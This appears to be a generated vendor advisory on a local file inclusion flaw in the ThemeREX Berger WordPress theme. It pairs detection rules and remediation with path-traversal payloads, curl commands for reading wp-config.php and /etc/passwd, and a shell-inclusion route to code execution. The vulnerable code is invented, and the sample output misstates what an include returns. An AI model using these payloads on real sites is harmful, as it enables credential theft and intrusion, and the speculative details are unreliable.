CVE-2025-53335

Executive Summary

CVE-2025-53335 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the ThemeREX Berger WordPress theme, affecting versions up to and including 1.1.1. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities.

The vulnerability is classified under CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') , though in this specific case it is limited to local file inclusion. The CVSS v3.1 base score is 8.1 (High), with the attack vector being network-based, low complexity, and requiring no privileges or user interaction. The primary impact is on confidentiality, as an attacker can read arbitrary files on the server.

As this is a WordPress theme vulnerability, it falls within the WordPress ecosystem and should be addressed by the theme vendor, ThemeREX. No public proof-of-concept (PoC) or exploit code is currently available, and the patch status remains unknown. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis.

Supply Chain & Package Security

This vulnerability affects a WordPress theme distributed through the ThemeREX marketplace and potentially bundled with other WordPress installations. Since WordPress themes are often distributed as ZIP packages and installed via the WordPress admin panel, the supply chain risk includes:

• Compromised theme updates: If the vendor's update mechanism is compromised, malicious versions could be distributed.
• Third-party dependencies: The theme may rely on plugins or libraries that could also be vulnerable.
• End-of-life themes: If the theme is no longer maintained, no patch will ever be released, leaving all installations permanently vulnerable.

CVSS Breakdown & Threat Level

CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and can lead to disclosure of sensitive server files. However, the lack of public PoC and low EPSS score currently reduce the immediate threat.

Deep Dive & Mechanics

The vulnerability exists in the ThemeREX Berger WordPress theme, specifically in a PHP file that handles file inclusion without proper sanitization of user-supplied input. The vulnerable code likely uses a parameter (e.g., page, template, or file) directly in a PHP include() or require() statement without validating the path.

Example vulnerable code pattern:

<?php
$file = $_GET['file'];
include($file . '.php');
?>

An attacker can exploit this by providing a path traversal sequence, such as:

http://target.com/wp-content/themes/berger/vulnerable.php?file=../../../../wp-config

This would include the wp-config.php file (with .php appended), exposing database credentials, salts, and other sensitive configuration data.

Key technical details:

• The vulnerability is classified as PHP Local File Inclusion (LFI) , not Remote File Inclusion (RFI), as the allow_url_include PHP directive is typically disabled on production servers.
• The attack is unauthenticated, meaning any visitor to the site can trigger the inclusion.
• The theme's file structure and the exact vulnerable parameter are not publicly documented, but the vulnerability is confirmed in versions <= 1.1.1.

Vulnerable vs. Patched Code

Since no official patch has been released, the following is a hypothetical comparison based on common remediation techniques.

Vulnerable Code (berger/includes/loader.php - hypothetical):

<?php
function berger_load_template($template) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
}

if ( isset($_GET['template']) ) {
    berger_load_template( $_GET['template'] );
}
?>

Patched Code (hypothetical):

<?php
function berger_load_template($template) {
    // Whitelist allowed templates
    $allowed_templates = array('default', 'full-width', 'sidebar-left');
    if ( in_array($template, $allowed_templates) ) {
        include( get_template_directory() . '/templates/' . $template . '.php' );
    } else {
        // Fallback to default
        include( get_template_directory() . '/templates/default.php' );
    }
}

if ( isset($_GET['template']) ) {
    berger_load_template( sanitize_file_name( $_GET['template'] ) );
}
?>

Key differences:

1. Input validation: The patched version uses a whitelist of allowed template names.
2. Sanitization: The sanitize_file_name() function removes path traversal characters.
3. Fallback: If an invalid template is requested, the default template is loaded instead of crashing.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress installation with ThemeREX Berger version <= 1.1.1
• Knowledge of the vulnerable parameter (e.g., template, file, page)
• Basic HTTP tools (curl, Burp Suite, or a web browser)

Exploitation Steps:

1. Identify the vulnerable endpoint:

   • Scan the theme's PHP files for include() or require() statements that use $_GET or $_POST parameters.
   • Common locations: berger/includes/, berger/templates/, berger/functions.php

2. Craft the LFI payload:

   curl -v "http://target.com/wp-content/themes/berger/vulnerable.php?file=../../../../wp-config"
   

3. Read sensitive files:

   • /etc/passwd: ?file=../../../../../../etc/passwd
   • /etc/nginx/nginx.conf: ?file=../../../../../../etc/nginx/nginx.conf
   • WordPress wp-config.php: ?file=../../../../wp-config

4. Attempt to achieve RCE (if file upload is possible):

   • Upload a PHP shell via WordPress media upload or a vulnerable plugin.
   • Include the uploaded file: ?file=../../../../wp-content/uploads/2025/01/shell

Expected output:

HTTP/1.1 200 OK
Content-Type: text/html

<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * ...
 */
define('DB_NAME', 'wordpress');
define('DB_USER', 'wpuser');
define('DB_PASSWORD', 'supersecret');
...

Blue Team (Defensive)

Detection and Prevention:

1. Web Application Firewall (WAF) Rules:

   • Block requests containing ../ or ..\\ in query parameters.
   • Block requests to theme files with suspicious parameters.

2. PHP Configuration Hardening:

   • Disable allow_url_include (already disabled by default).
   • Set open_basedir to restrict file access to the web root.

3. File Integrity Monitoring:

   • Monitor changes to theme files, especially PHP files.
   • Alert on any new files in the uploads directory with .php extension.

4. Log Analysis:

   • Monitor web server logs for patterns like ../../ or /etc/passwd in request URIs.
   • Look for requests to theme files with unexpected parameters.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing path traversal sequences (../, ..\\, %2e%2e%2f)
• Requests to wp-content/themes/berger/ with parameters like file=, template=, or page=
• Outbound connections from the web server to external IPs (if RCE is achieved)

File System IOCs:

• Unexpected files in the WordPress uploads directory (e.g., .php files)
• Modified theme files (check file hashes against original distribution)
• Presence of webshells in wp-content/uploads/ or wp-content/themes/berger/

Log IOCs:

• Web server access logs showing 200 responses to LFI payloads
• PHP error logs showing failed include() attempts
• Authentication logs showing unusual admin logins (if credentials are stolen)

Detection Engineering

YARA Rule

rule CVE_2025_53335_LFI_ThemeREX_Berger {
    meta:
        description = "Detects LFI attempts targeting ThemeREX Berger theme"
        author = "Valters IT"
        date = "2025-01-27"
        reference = "CVE-2025-53335"
        severity = "high"

    strings:
        $path_traversal = /\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c/
        $berger_theme = /berger/i
        $lfi_param = /file=|template=|page=/

    condition:
        $path_traversal and $berger_theme and $lfi_param
}

Sigma Rule

title: CVE-2025-53335 LFI Attempt on ThemeREX Berger
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit LFI in ThemeREX Berger theme
author: Valters IT
date: 2025/01/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-53335
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains: '/wp-content/themes/berger/'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other applications
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53335 ThemeREX Berger LFI Attempt"; flow:to_server,established; content:"/wp-content/themes/berger/"; http_uri; pcre:"/(\.\.\/|\.\.\\|%2e%2e%2f|%2e%2e%5c)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Berger theme if not in use, and switch to a default WordPress theme (e.g., Twenty Twenty-Four).
2. Apply a virtual patch using a WAF to block path traversal patterns in requests to the theme directory.
3. Restrict file permissions on wp-config.php to 600 and ensure the web server user cannot read sensitive system files.

Long-term Fix:

• Contact ThemeREX for an official patch. If no patch is forthcoming, consider migrating to a different theme.
• Implement input validation in custom code: whitelist allowed values, sanitize file names, and avoid using user input directly in include() or require().
• Regularly update all WordPress themes and plugins to the latest versions.

Workaround (if patching is not possible):

• Add the following to the theme's functions.php to block suspicious requests:

add_action('init', function() {
    if (isset($_GET['file']) || isset($_GET['template']) || isset($_GET['page'])) {
        $blocked = array('../', '..\\', '%2e%2e%2f', '%2e%2e%5c');
        foreach ($blocked as $pattern) {
            if (strpos($_SERVER['REQUEST_URI'], $pattern) !== false) {
                wp_die('Access denied.', 403);
            }
        }
    }
});

Valters IT
DevSecOps & Cyber Threat Intelligence Division
Report generated: 2025-01-27